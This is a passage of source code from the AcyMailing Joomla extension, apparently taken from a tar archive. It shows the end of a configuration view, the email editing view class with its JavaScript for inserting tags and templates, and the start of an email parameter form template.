				$geoloc_api_key = '<input class="inputbox" type="text" id="geoloc_api_key" name="config[geoloc_api_key]" style="width:450px" value="'.$this->escape($config->get('geoloc_api_key', '')).'">';
				$google_map_api_key = '<input class"inputbox" type="text" id="google_map_api_key" name="config[google_map_api_key]" style="width:450px" value="'.$this->escape($config->get('google_map_api_key', '')).'">';
			}
		}else{
			$geolocation = acymailing_getUpgradeLink('enterprise');
			$geoloc_api_key = false;
			$google_map_api_key = false;
		}
		$elements->geolocation = $geolocation;
		$elements->geoloc_api_key = $geoloc_api_key;
		$elements->google_map_api_key = $google_map_api_key;


		$link = acymailing_completeLink('email', true).'&amp;task=edit&amp;mailid=';
		$button = '<button class="acymailing_button_grey" onclick="return false">'.acymailing_translation('EDIT_NOTIFICATION_MAIL').'</button>';
		
		$elements->editConfEmail = acymailing_popup($link.'confirmation', '<button class="acymailing_button_grey" onclick="return false">'.acymailing_translation('EDIT_CONF_MAIL').'</button>', '', 800, 500, 'confirmemail');
		
		$elements->edit_notification_created = acymailing_popup($link.'notification_created', $button);
		$elements->edit_notification_refuse = acymailing_popup($link.'notification_refuse', $button);
		$elements->edit_notification_unsuball = acymailing_popup($link.'notification_unsuball', $button);
		$elements->edit_notification_unsub = acymailing_popup($link.'notification_unsub', $button);
		$elements->edit_notification_contact = acymailing_popup($link.'notification_contact', $button);
		$elements->edit_notification_contact_menu = acymailing_popup($link.'notification_contact_menu', $button);
		$elements->edit_notification_confirm = acymailing_popup($link.'notification_confirm', $button);
		$elements->editModifEmail = acymailing_popup($link.'modif', $button, '', 800, 500, 'modifemail');

		$link = acymailing_completeLink('cpanel', true).'&amp;task=checkDB';
		$elements->checkDB = acymailing_popup($link, '<button class="acymailing_button_grey" onclick="return false">'.acymailing_translation('DATABASE_INTEGRITY').'</button>');

		$js = "function addUnsubReason(){
			var input = document.createElement('input');
			input.name = 'unsub_reasons[]';
			input.style.width = '300px';
			input.style.margin = '3px 0px';
			input.type = 'text';
			document.getElementById('unsub_reasons').appendChild(input);
			var br = document.createElement('br');
			document.getElementById('unsub_reasons').appendChild(br);
		}
		function displaySurvey(surveyval){
			if(surveyval == 1){
				document.getElementById('unsub_reasons_area').style.display = 'block';
			}else{
				document.getElementById('unsub_reasons_area').style.display = 'none';
			}
		}
		";
		acymailing_addScript(true, $js);


		$langs = acymailing_getLanguages();
		$languages = array();

		foreach ($langs as $lang => $obj) {
			if (strlen($lang) != 5 || $lang == "xx-XX") continue;

			$oneLanguage = new stdClass();
			$oneLanguage->language = $lang;
			$oneLanguage->name = $obj->name;

			$linkEdit = acymailing_completeLink('file').'&task=language&code=' . $lang;
			$icon = $obj->exists ? 'edit' : 'new';
			$oneLanguage->edit = acymailing_popup($linkEdit, '<i class="acyicon-'.$icon.'" id="image' . $lang . '"></i>');

			$languages[] = $oneLanguage;
		}

		$js = "function updateConfirmation(newvalue){";
		$js .= "if(newvalue == 0) {window.document.getElementById('confirmemail').style.display = 'none'; window.document.getElementById('confirm_redirect').disabled = true;}else{window.document.getElementById('confirmemail').style.display = 'inline'; window.document.getElementById('confirm_redirect').disabled = false;}";
		$js .= '}';
		$js .= "function updateModification(newvalue){ if(newvalue != 'none') {window.document.getElementById('modifemail').style.display = 'none';}else{window.document.getElementById('modifemail').style.display = 'inline';}} ";
		$js .= 'window.addEventListener("load", function(){ updateModification(\''.$config->get('allow_modif', 'data').'\'); updateConfirmation('.$config->get('require_confirmation', 0).'); });';
		acymailing_addScript(true, $js);

		$elements->require_confirmation = acymailing_boolean("config[require_confirmation]", 'onclick="updateConfirmation(this.value)"', $config->get('require_confirmation', 0));

		$allowmodif = array();
		$allowmodif[] = acymailing_selectOption("none", acymailing_translation('JOOMEXT_NO'));
		$allowmodif[] = acymailing_selectOption("data", acymailing_translation('ONLY_SUBSCRIPTION'));
		$allowmodif[] = acymailing_selectOption("all", acymailing_translation('JOOMEXT_YES'));
		$elements->allow_modif = acymailing_radio($allowmodif, "config[allow_modif]", 'size="1" onclick="updateModification(this.value)"', 'value', 'text', $config->get('allow_modif', 'data'));

		if('joomla' == 'joomla') {
			$indexType = $config->get('indexFollow', '');
			$indexFollow = '<div style="float: left;"><input type="checkbox" name="config[indexFollow][]" id="indexFollow[0]" value="noindex" style="margin-left:10px" '.(stripos($indexType, 'noindex') !== false ? 'checked="checked"' : '').'/> <label for="indexFollow[0]">noindex</label></div>';
			$indexFollow .= '<div style="float: left;"><input type="checkbox" name="config[indexFollow][]" id="indexFollow[1]" value="nofollow" style="margin-left:10px" '.(stripos($indexType, 'nofollow') !== false ? 'checked="checked"' : '').'/> <label for="indexFollow[1]">nofollow</label></div>';
			$indexFollow .= '<input type="hidden" name="config[indexFollow][]" value="1"/>';
			$elements->indexFollow = $indexFollow;
			
			if(!ACYMAILING_J16){
				$query = 'SELECT a.name, a.id as itemid, b.title  FROM `#__menu` as a JOIN `#__menu_types` as b on a.menutype = b.menutype WHERE a.access = 0 ORDER BY b.title ASC,a.ordering ASC';
			}else{
				$orderby = ACYMAILING_J30 ? 'a.lft' : 'a.ordering';
				$query = 'SELECT a.alias as name, a.id as itemid, b.title  FROM `#__menu` as a JOIN `#__menu_types` as b on a.menutype = b.menutype WHERE a.access = 1 AND a.client_id=0 AND a.parent_id != 0 ORDER BY b.title ASC,'.$orderby.' ASC';
			}

			$joomMenus = acymailing_loadObjectList($query);

			$menuvalues = array();
			$menuvalues[] = acymailing_selectOption('0', acymailing_translation('ACY_NONE'));
			$lastGroup = '';
			foreach($joomMenus as $oneMenu){
				if($oneMenu->title != $lastGroup){
					if(!empty($lastGroup)) $menuvalues[] = acymailing_selectOption('</OPTGROUP>');
					$menuvalues[] = acymailing_selectOption('<OPTGROUP>', $oneMenu->title);
					$lastGroup = $oneMenu->title;
				}
				$menuvalues[] = acymailing_selectOption($oneMenu->itemid, $oneMenu->name);
			}

			$elements->acymailing_menu = acymailing_select($menuvalues, 'config[itemid]', 'size="1"', 'value', 'text', $config->get('itemid'));


			$acyrss_format = array();
			$acyrss_format[] = acymailing_selectOption('', acymailing_translation('ACY_NONE'));
			$acyrss_format[] = acymailing_selectOption('rss', 'RSS feed');
			$acyrss_format[] = acymailing_selectOption('atom', 'Atom feed');
			$acyrss_format[] = acymailing_selectOption('both', acymailing_translation('ACY_ALL'));
			$elements->acyrss_format = acymailing_select($acyrss_format, "config[acyrss_format]", 'size="1"', 'value', 'text', $config->get('acyrss_format', ''));

			$acyrss_order = array();
			$acyrss_order[] = acymailing_selectOption('senddate', acymailing_translation('SEND_DATE'));
			$acyrss_order[] = acymailing_selectOption('mailid', acymailing_translation('ACY_ID'));
			$acyrss_order[] = acymailing_selectOption('subject', acymailing_translation('ACY_TITLE'));
			$elements->acyrss_order = acymailing_select($acyrss_order, "config[acyrss_order]", 'size="1"', 'value', 'text', $config->get('acyrss_order', 'senddate'));
			
			if(version_compare(JVERSION, '3.1.2', '>=')) $elements->special_chars = acymailing_boolean("config[special_chars]", '', $config->get('special_chars', 0));

			$bootstrapFrontValues = array();
			$bootstrapFrontValues[] = acymailing_selectOption(0, acymailing_translation('JOOMEXT_NO'));
			$bootstrapFrontValues[] = acymailing_selectOption(1, 'Bootstrap 2');
			$bootstrapFrontValues[] = acymailing_selectOption(2, 'Bootstrap 3');
			$elements->bootstrap_frontend = acymailing_radio($bootstrapFrontValues, "config[bootstrap_frontend]", '', 'value', 'text', $config->get('bootstrap_frontend', 0));
			
			if(acymailing_level(1)){
				$js = 'var selectedForward = '.$config->get('forward', 0).'
					function confirmForward(clickedForward){
						if(clickedForward == selectedForward || clickedForward != 1) return true;

						var cnfrm = confirm(\''.str_replace("'", "\'", acymailing_translation('ACY_FORWARDCHOICE_CONFIRMATION')).'\');
						if(!cnfrm) return true;';

				if(ACYMAILING_J30){
					$js .= '
					var labels = document.getElementById("config_forwardfieldset").getElementsByTagName("label");
					for(oneLabel in labels){
						if(isNaN(oneLabel)) continue;
						if(labels[oneLabel].getAttribute("for") == "config_forward2"){
							labels[oneLabel].click();
						}
					}';
				}else{
					$js .= 'document.getElementById("config[forward]2").checked = true;';
				}

				$js .= '}';
				acymailing_addScript(true, $js);

				$forwardValues = array();
				$forwardValues[] = acymailing_selectOption(0, acymailing_translation('JOOMEXT_NO'));
				$forwardValues[] = acymailing_selectOption(1, acymailing_translation('JOOMEXT_YES'));
				$forwardValues[] = acymailing_selectOption(2, acymailing_translation('JOOMEXT_YES_FORWARD'));
				$elements->forward = acymailing_radio($forwardValues, "config[forward]", 'onclick="confirmForward(this.value);"', 'value', 'text', $config->get('forward', 0));

				$nextDate = $config->get('cron_plugins_next', time());

				$listHours = array();
				$listMinutess = array();
				for($i = 0; $i < 24; $i++){
					$value = $i < 10 ? '0'.$i : $i;
					$listHours[] = acymailing_selectOption($value, $value);
				}
				$hours = acymailing_select($listHours, 'cronplghours', 'class="inputbox" size="1" style="width:60px;"', 'value', 'text', acymailing_getDate($nextDate, 'H'));
				for($i = 0; $i < 60; $i += 5){
					$value = $i < 10 ? '0'.$i : $i;
					$listMinutess[] = acymailing_selectOption($value, $value);
				}
				$defaultMin = floor(acymailing_getDate($nextDate, 'i') / 5) * 5;
				$minutes = acymailing_select($listMinutess, 'cronplgminutes', 'class="inputbox" size="1" style="width:60px;"', 'value', 'text', $defaultMin);
				$elements->cron_plugins = $hours.' : '.$minutes;
			}else{
				$elements->forward = acymailing_getUpgradeLink('essential');
			}

			$elements->use_sef = acymailing_boolean("config[use_sef]", '', $config->get('use_sef', 0));
			
			$editorType = acymailing_get('type.editor');
			$elements->editor = $editorType->display('config[editor]', $config->get('editor'));

			if (!ACYMAILING_J16) {
				$plugins = acymailing_loadObjectList("SELECT name, element, published,id FROM `#__plugins` WHERE `folder` = 'acymailing' AND `element` NOT LIKE 'plg%' ORDER BY published DESC, name ASC");
			} else {
				$plugins = acymailing_loadObjectList("SELECT name, element, enabled as published,extension_id as id FROM `#__extensions` WHERE `state` <> -1 AND `folder` = 'acymailing' AND `type`= 'plugin' AND `element` NOT LIKE 'plg%' ORDER BY enabled DESC, name ASC");
			}

			if (!ACYMAILING_J16) {
				$integrationplugins = acymailing_loadObjectList("SELECT name, element, published,id FROM `#__plugins` WHERE (`folder` != 'acymailing' OR `element` LIKE 'plg%') AND (`name` LIKE '%acymailing%' OR `element` LIKE '%acymailing%') ORDER BY published DESC, name ASC");
			} else {
				$integrationplugins = acymailing_loadObjectList("SELECT name, element, enabled as published ,extension_id as id FROM `#__extensions` WHERE `state` <> -1 AND (`folder` != 'acymailing' OR `element` LIKE 'plg%') AND `type` = 'plugin' AND (`name` LIKE '%acymailing%' OR `element` LIKE '%acymailing%') ORDER BY enabled DESC, name ASC");
			}

			$pluginsNeedUpDate = json_decode($config->get('pluginNeedUpdate', ''));
			if(!empty($pluginsNeedUpDate)){
				foreach($plugins as $plugin){
					if(!in_array($plugin->id, $pluginsNeedUpDate)) continue;
					$plugin->needUpDate = true;
				}
				foreach($integrationplugins as $plugin){
					if(!in_array($plugin->id, $pluginsNeedUpDate)) continue;
					$plugin->needUpDate = true;
				}
			}

			$this->plugins = $plugins;
			$this->integrationplugins = $integrationplugins;

			if((!ACYMAILING_J16 AND !file_exists(ACYMAILING_ROOT.'plugins'.DS.'acymailing'.DS.'tagsubscriber.php')) OR (ACYMAILING_J16 AND !file_exists(ACYMAILING_ROOT.'plugins'.DS.'acymailing'.DS.'tagsubscriber'.DS.'tagsubscriber.php'))) acymailing_checkPluginsFolders();
		}

		$this->bounceaction = acymailing_get('type.bounceaction');
		$this->config = $config;
		$this->languages = $languages;
		$this->elements = $elements;

		$this->tabs = acymailing_get('helper.acytabs');
		$this->toggleClass = $toggleClass;

		return parent::display($tpl);
	}
}
com_acymailing/views/email/index.html000060400000000054152455305300013735 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/email/view.html.php000060400000037141152455305300014375 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class EmailViewEmail extends acymailingView{

	function display($tpl = null){
		$function = $this->getLayout();
		if(method_exists($this, $function)) $this->$function();


		parent::display($tpl);
	}

	function form(){
		$mailid = acymailing_getCID('mailid');
		if(empty($mailid)) $mailid = acymailing_getVar('string', 'mailid');

		$mailClass = acymailing_get('class.mail');
		$mail = $mailClass->get($mailid);

		if(empty($mail)){
			$config = acymailing_config();

			$mail = new stdClass();
			$mail->created = time();
			$mail->fromname = $config->get('from_name');
			$mail->fromemail = $config->get('from_email');
			$mail->replyname = $config->get('reply_name');
			$mail->replyemail = $config->get('reply_email');
			$mail->subject = '';
			$mail->type = acymailing_getVar('string', 'type');
			$mail->published = 1;
			$mail->visible = 0;
			$mail->html = 1;
			$mail->body = '';
			$mail->altbody = '';
			$mail->tempid = 0;
			$mail->alias = '';
		};

		$values = new stdClass();
		$values->maxupload = (acymailing_bytes(ini_get('upload_max_filesize')) > acymailing_bytes(ini_get('post_max_size'))) ? ini_get('post_max_size') : ini_get('upload_max_filesize');


		$toggleClass = acymailing_get('helper.toggle');

		if(acymailing_isAdmin()){
			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->custom('', acymailing_translation('ACY_TEMPLATES'), 'template', false, 'displayTemplates(); return false;');
			$acyToolbar->custom('', acymailing_translation('TAGS'), 'tag', false, 'try{IeCursorFix();}catch(e){}; displayTags(); return false;');
			$acyToolbar->divider();
			$acyToolbar->custom('test', acymailing_translation('SEND_TEST'), 'send', false);
			$acyToolbar->custom('apply', acymailing_translation('ACY_APPLY'), 'apply', false);
			$acyToolbar->setTitle(acymailing_translation('ACY_EDIT'));
			$acyToolbar->topfixed = false;
			$acyToolbar->display();
		}

		$editor = acymailing_get('helper.editor');
		$editor->setTemplate($mail->tempid);
		$editor->name = 'editor_body';
		$editor->content = $mail->body;

		$js = "function updateAcyEditor(htmlvalue){";
		$js .= 'if(htmlvalue == \'0\'){window.document.getElementById("htmlfieldset").style.display = \'none\'}else{window.document.getElementById("htmlfieldset").style.display = \'block\'}';
		$js .= '}';

		$script = '
		var attachmentNb = 1;
		function addFileLoader(){
			if(attachmentNb > 9) return;
			window.document.getElementById("attachmentsdiv"+attachmentNb).style.display = "";
			attachmentNb++;
		}';

		$script .= "function deleteAttachment(i){
			document.getElementById('attachments'+i+'selection').innerHTML = '';
			document.getElementById('attachments'+i+'suppr').style.display = 'none';
			document.getElementById('attachments'+i).value = '';
			return;
		}";

		$script .= '
			document.addEventListener("DOMContentLoaded", function(){
				acymailing.submitbutton = function(pressbutton) {
					if (pressbutton == \'cancel\') {
						acymailing.submitform(pressbutton,document.adminForm);
						return;
					}';

		$url = acymailing_currentURL();
		if(strpos($url, 'send-in-article') !== false){
			$script .= '
						if(pressbutton == \'apply\' || pressbutton == \'test\'){
							var content = '.$editor->getContent().';
							var match = content.match(/{joomlacontent:current/);
							if(match == null){
								alert("'.acymailing_translation('ACY_TAG_ARTICLE').'");
								return false;
							}
						}';
		}

		$script .= 'if(window.document.getElementById("subject").value.length < 2){alert(\''.acymailing_translation('ENTER_SUBJECT', true).'\'); return false;}';
		$script .= $editor->jsCode();
		$script .= 'acymailing.submitform(pressbutton,document.adminForm);
				};
			 }); ';

		$script .= "var zoneToTag = 'editor';
		function insertTag(tag){
			if(zoneToTag == 'editor'){
				try{
					if(window.parent.tinymce){ parentTinymce = window.parent.tinymce; window.parent.tinymce = false; }
					jInsertEditorText(tag,'editor_body');
					if(typeof parentTinymce !== 'undefined'){ window.parent.tinymce = parentTinymce; }
					document.getElementById('iframetag').style.display = 'none';
					displayTags();
					return true;
				} catch(err){
					alert('Your editor does not enable AcyMailing to automatically insert the tag, please copy/paste it manually in your Newsletter');
					return false;
				}
			}else{
				try{
					simpleInsert(zoneToTag, tag);
					return true;
				} catch(err){
					alert('Error inserting the tag in the '+ zoneToTag + 'zone. Please copy/paste it manually in your Newsletter.');
					return false;
				}
			}
		}
		
		function simpleInsert(myField, myValue) {
			myField = document.getElementById(myField);
			if (document.selection) {
				myField.focus();
				sel = document.selection.createRange();
				sel.text = myValue;
			} else if (myField.selectionStart || myField.selectionStart == '0') {
				var startPos = myField.selectionStart;
				var endPos = myField.selectionEnd;
				myField.value = myField.value.substring(0, startPos)
					+ myValue
					+ myField.value.substring(endPos, myField.value.length);
			} else if (myField.tagName == 'DIV') {
				myField.innerHTML += myValue;
				document.getElementById('subject').value += myValue;
			} else {
				myField.value += myValue;
			}
		}
		
		document.addEventListener('DOMContentLoaded', function(){
			setTimeout(function() {
				document.getElementById('htmlfieldset').addEventListener('click', function(){
					zoneToTag = 'editor';
				});	
				
				var ediframe = document.getElementById('htmlfieldset').getElementsByTagName('iframe');
				if(ediframe && ediframe[0]){
					var children = ediframe[0].contentDocument.getElementsByTagName('*');
					for (var i = 0; i < children.length; i++) {
						children[i].addEventListener('click', function(){
							zoneToTag = 'editor';
						});			
					}
				}		
			}, 1000);
		});";

		$typeMail = 'news';
		if(strpos($mail->alias, 'notification') !== false){
			$typeMail = 'notification';
		}

		$iFrame = "'<iframe src=\'".acymailing_completeLink((acymailing_isAdmin() ? '' : 'front')."tag&task=tag&type=".$typeMail, true)."\' width=\'100%\' height=\'100%\' scrolling=\'auto\'></iframe>'";
		$script .= "var openTag = true;
					function displayTags(){
						var box = document.getElementById('iframetag');
						if(openTag){
							box.innerHTML = ".$iFrame.";
							box.style.display = 'block';
						}else{
							box.style.display = 'none';
						}
						
						if(openTag){
							box.className = 'slide_open';
						}else{
							box.className = box.className.replace('slide_open', '');
						}
						openTag = !openTag;
					}";

		$iFrame = "'<iframe src=\'".acymailing_completeLink((acymailing_isAdmin() ? '' : 'front')."template&task=theme", true)."\' width=\'100%\' height=\'100%\' scrolling=\'auto\'></iframe>'";
		$script .= "var openTemplate = true;
					function displayTemplates(){
						var box = document.getElementById('iframetemplate');
						if(openTemplate){
							box.innerHTML = ".$iFrame.";
							box.style.display = 'block';
						}else{
							box.style.display = 'none';
						}
						
						if(openTemplate){
							box.className = 'slide_open';
						}else{
							box.className = box.className.replace('slide_open', '');
						}
						openTemplate = !openTemplate;
					}";

		$script .= "function changeTemplate(newhtml,newtext,newsubject,stylesheet,fromname,fromemail,replyname,replyemail,tempid){
			if(newhtml.length>2){".$editor->setContent('newhtml')."}
			var vartextarea = document.getElementById('altbody');
			if(newtext.length>2) vartextarea.innerHTML = newtext;
			document.getElementById('tempid').value = tempid;
			
			if(fromname.length>1){document.getElementById('fromname').value = fromname;}
			if(fromemail.length>1){document.getElementById('fromemail').value = fromemail;}
			if(replyname.length>1){document.getElementById('replyname').value = replyname;}
			if(replyemail.length>1){document.getElementById('replyemail').value = replyemail;}
			if(newsubject.length>1){
				var subjectObj = document.getElementById('subject');
				if(subjectObj.tagName.toLowerCase() == 'input'){
					subjectObj.value = newsubject;
				}else{
				    subjectObj.innerHTML = newsubject;
				}
			}
			
			".$editor->setEditorStylesheet('tempid')."
			document.getElementById('iframetemplate').style.display = 'none';
			displayTemplates();
		}";

		$plugin = acymailing_getPlugin('acymailing', 'tagcontent');
		$this->params = new acyParameter($plugin->params);
		$this->acypluginsHelper = acymailing_get('helper.acyplugins');

		$contenttype = array();
		$contenttype[] = acymailing_selectOption("title", acymailing_translation('TITLE_ONLY'));
		$contenttype[] = acymailing_selectOption("intro", acymailing_translation('INTRO_ONLY'));
		$contenttype[] = acymailing_selectOption("text", acymailing_translation('FIELD_TEXT'));
		$contenttype[] = acymailing_selectOption("full", acymailing_translation('FULL_TEXT'));

		$titlelink = array();
		$titlelink[] = acymailing_selectOption("link", acymailing_translation('JOOMEXT_YES'));
		$titlelink[] = acymailing_selectOption("0", acymailing_translation('JOOMEXT_NO'));

		$authorname = array();
		$authorname[] = acymailing_selectOption("author", acymailing_translation('JOOMEXT_YES'));
		$authorname[] = acymailing_selectOption("0", acymailing_translation('JOOMEXT_NO'));

		$picts = array();
		$picts[] = acymailing_selectOption("1", acymailing_translation('JOOMEXT_YES'));
		$pictureHelper = acymailing_get('helper.acypict');
		if($pictureHelper->available()) $picts[] = acymailing_selectOption("resized", acymailing_translation('RESIZED'));
		$picts[] = acymailing_selectOption("0", acymailing_translation('JOOMEXT_NO'));

		if($mail->html == 1){
			$script .= "var zoneEditor = 'editor_body';";
		}else{
			$script .= "var zoneEditor = 'altbody';";
		}

		$script .= '
		
		var zoneToTag = \'altbody\';
		function initTagZone(html){ if(html == 0){ zoneEditor = \'altbody\'; }else{ zoneEditor = \'editor_body\'; }}
		
		var previousSelection = false;
		function insertTagCurrent(){
		var tag = \'{joomlacontent:current|\';
			var display = document.querySelector(\'input[name = "contenttype"]:checked\').value;
			var format = document.getElementById(\'contentformat\').value;
			var displayPict = document.querySelector(\'input[name = "pict"]:checked\').value;
			var clickTitle = document.querySelector(\'input[name = "titlelink"]:checked\').value;
			var author = document.querySelector(\'input[name = "author"]:checked\').value;
			var facebook = document.getElementById(\'facebook\').checked ;
			var linkedin = document.getElementById(\'linkedin\').checked;
			var twitter = document.getElementById(\'twitter\').checked;
			var google = document.getElementById(\'google\').checked;
			
			if(display == \'title\'){
				tag = tag + \' type:\'+display+\'|\';
			}else{
				tag = tag + \' type:\'+display+\'| format:\'+format+\'| pict:\'+displayPict+\'|\';
			}
			
			if(clickTitle == \'link\'){
				tag = tag + \' link|\';
			}
			if(author == \'author\'){
				tag = tag + \' author|\';
			}
			if(facebook || linkedin || twitter || google){
				tag = tag + \' share:\';
				if(facebook) tag = tag + \'facebook,\';
				if(linkedin) tag = tag + \'linkedin,\';
				if(twitter) tag = tag + \'twitter,\';
				if(google) tag = tag + \'google,\';
				tag = tag.slice(0, -1);
				tag = tag + \'|\';
			}
			tag = tag.slice(0, -1);
			tag = tag + \'}\';
			if(zoneEditor == \'editor_body\'){
				try{
					jInsertEditorText(tag,\'editor_body\',previousSelection);
					return true;
				} catch(err){
					alert(\'Your editor does not enable AcyMailing to automatically insert the tag, please copy / paste it manually in your Newsletter\');
					return false;
				}
			} else{
				try{
					simpleInsert(document.getElementById(zoneToTag), tag);
					return true;
				} catch(err){
					alert(\'Error inserting the tag in the \'+ zoneToTag + \'zone.Please copy / paste it manually in your Newsletter.\');
					return false;
				}
			}
		}
		
		function updateTag(){
			var display = document.querySelector(\'input[name = "contenttype"]:checked\').value;
			if(display == \'title\'){
				document.getElementById(\'format\').style.display = \'none\' ;
			}
			else if(display != \'title\'){
				document.getElementById(\'format\').style.display = \'table-row\' ;
			}
		}';

		acymailing_addScript(true, $js.$script);

		$this->picts = $picts;
		$this->titlelink = $titlelink;
		$this->authorname = $authorname;
		$this->contenttype = $contenttype;
		$this->toggleClass = $toggleClass;
		$this->editor = $editor;
		$this->values = $values;
		$this->mail = $mail;
		$tabs = acymailing_get('helper.acytabs');
		$this->tabs = $tabs;
	}

	function listing(){
		$article_id = acymailing_getVar('int', 'articleId');
		if(empty($article_id)) return;

		$pageInfo = new stdClass();
		$pageInfo->filter = new stdClass();
		$pageInfo->limit = new stdClass();
		$pageInfo->elements = new stdClass();

		$paramBase = ACYMAILING_COMPONENT.'.'.$this->getName();

		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));
		$selectedCategory = acymailing_getUserVar($paramBase."filter_category", 'filter_category', 0, 'string');

		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getUserVar($paramBase.'.limitstart', 'limitstart', 0, 'int');

		$filters = array();
		if(!empty($pageInfo->search)){
			$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search, true).'%\'';
			$filters[] = "a.name LIKE $searchVal OR a.description LIKE $searchVal OR a.listid LIKE $searchVal";
		}
		$filters[] = "a.type = 'list'";
		if(!empty($selectedCategory)) $filters[] = 'a.category = '.acymailing_escapeDB($selectedCategory);

		if(!acymailing_isAdmin()){
			$listClass = acymailing_get('class.list');
			$lists = $listClass->getFrontendLists('listid');

			$filters[] = 'listid IN ('.implode(',', array_keys($lists)).')';
		}

		$query = 'SELECT a.*, d.name as creatorname, d.username, d.email';
		$query .= ' FROM '.acymailing_table('list').' as a';
		$query .= ' LEFT JOIN '.acymailing_table('users', false).' as d on a.userid = d.id';
		$query .= ' WHERE ('.implode(') AND (', $filters).')';
		$query .= ' ORDER BY a.name ASC';

		$rows = acymailing_loadObjectList($query, '', $pageInfo->limit->start, $pageInfo->limit->value);

		$queryCount = 'SELECT COUNT(a.listid) FROM  '.acymailing_table('list').' as a';
		if(!empty($pageInfo->search)) $queryCount .= ' LEFT JOIN '.acymailing_table('users', false).' as d on a.userid = d.id';
		$queryCount .= ' WHERE ('.implode(') AND (', $filters).')';

		$pageInfo->elements->total = acymailing_loadResult($queryCount);
		$pageInfo->elements->page = count($rows);

		$pagination = new acyPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value);

		if(acymailing_isAdmin()){
			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->custom('sendArticle', acymailing_translation('SEND'), 'send');
			$acyToolbar->setTitle(acymailing_translation('ACY_SELECT_LIST'), 'list');
			$acyToolbar->display();
		}

		$filters = new stdClass();
		$listcategoryType = acymailing_get('type.categoryfield');
		$filters->category = $listcategoryType->getFilter('list', 'filter_category', $selectedCategory, ' onchange="document.adminForm.submit();"');

		acymailing_addStyle(true, '.acyicon-send + span { display: inline-block !important; margin-left: 5px; }');

		$this->filters = $filters;
		$this->rows = $rows;
		$this->pageInfo = $pageInfo;
		$this->pagination = $pagination;
	}
}
com_acymailing/views/email/tmpl/param.form.php000060400000020542152455305300015473 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?>	<?php echo $this->tabs->startPane('mail_tab'); ?>
	<?php echo $this->tabs->startPanel(acymailing_translation('INFOS'), 'mail_infos'); ?>
	<br style="font-size:1px"/>

	<div class="onelineblockoptions">
		<table class="acymailing_smalltable" width="100%">
			<tr>
				<td class="paramlist_key">
					<label for="subject">
						<?php echo acymailing_translation('JOOMEXT_SUBJECT'); ?>
					</label>
				</td>
				<td class="paramlist_value">
					<input onClick="zoneToTag='subject';" type="text" name="data[mail][subject]" id="subject" class="inputbox" style="width:80%" value="<?php echo $this->escape(@$this->mail->subject); ?>"/>
				</td>
			</tr>
			<tr>
				<td class="paramlist_key">
					<?php echo acymailing_translation('SEND_HTML'); ?>
				</td>
				<td class="paramlist_value">
					<?php echo acymailing_boolean("data[mail][html]", 'onchange="updateAcyEditor(this.value)"', $this->mail->html); ?>
				</td>
			</tr>
			<?php
			$jflanguages = acymailing_get('type.jflanguages');
			if($jflanguages->multilingue){ ?>
				<tr>
					<td class="paramlist_key">
						<label for="jlang">
							<?php echo acymailing_translation('ACY_LANGUAGE'); ?>
						</label>
					</td>
					<td class="paramlist_value">
						<?php
						$jflanguages->sef = true;
						echo $jflanguages->displayJLanguages('data[mail][language]', empty($this->mail->language) ? '' : $this->mail->language);
						?>
					</td>
				</tr>
			<?php } ?>
		</table>
	</div>
	<?php if($this->mail->type == 'article'){ ?>
		<div class="onelineblockoptions">
			<span class="acyblocktitle"><?php echo acymailing_translation('ACY_INSERT_TAG_ARTICLE'); ?></span>
			<table class="acymailing_smalltable">
				<tr>
					<td>
						<?php echo acymailing_translation('DISPLAY'); ?>
					</td>
					<td colspan="2">
						<?php echo acymailing_radio($this->contenttype, 'contenttype', 'size="1" onclick="updateTag();"', 'value', 'text', 'intro'); ?>
					</td>
					<td>
						<?php $jflanguages = acymailing_get('type.jflanguages');
						$jflanguages->onclick = 'onchange="updateTag();"';
						echo $jflanguages->display('lang', ''); ?>
					</td>
				</tr>
				<tr id="format" class="acyplugformat">
					<td valign="top">
						<?php echo acymailing_translation('FORMAT'); ?>
					</td>
					<td valign="top">
						<?php echo $this->acypluginsHelper->getFormatOption('tagcontent'); ?>
					</td>
					<td valign="top"><?php echo acymailing_translation('DISPLAY_PICTURES'); ?></td>
					<td valign="top"><?php echo acymailing_radio($this->picts, 'pict', 'size="1" onclick="updateTag();"', 'value', 'text', '1'); ?>
						<span id="pictsize" style="display:none;"><br/><?php echo acymailing_translation('CAPTCHA_WIDTH') ?>
							<input name="pictwidth" type="text" onchange="updateTag();" value="150" style="width:30px;"/>
								x <?php echo acymailing_translation('CAPTCHA_HEIGHT') ?>
							<input name="pictheight" type="text" onchange="updateTag();" value="150" style="width:30px;"/>
						</span>
					</td>
				</tr>
				<tr>
					<td>
						<?php echo acymailing_translation('CLICKABLE_TITLE'); ?>
					</td>
					<td>
						<?php echo acymailing_radio($this->titlelink, 'titlelink', 'size="1" onclick="updateTag();"', 'value', 'text', 'link'); ?>
					</td>
					<td>
						<?php echo acymailing_translation('AUTHOR_NAME'); ?>
					</td>
					<td>
						<?php echo acymailing_radio($this->authorname, 'author', 'size="1" onclick="updateTag();"', 'value', 'text', '0'); ?>
					</td>
				</tr>
				<tr>
					<td>
						<?php echo acymailing_translation('SHARE'); ?>
					</td>
					<?php
					$socialMedias = array('facebook' => 'Facebook', 'linkedin' => 'LinkedIn', 'twitter' => 'Twitter', 'google' => 'Google+');

					$cpt = 1;
					foreach($socialMedias as $key => $oneSocial){
						if($cpt == 4){
							$cpt = 1;
							echo '</tr><tr><td/>';
						}
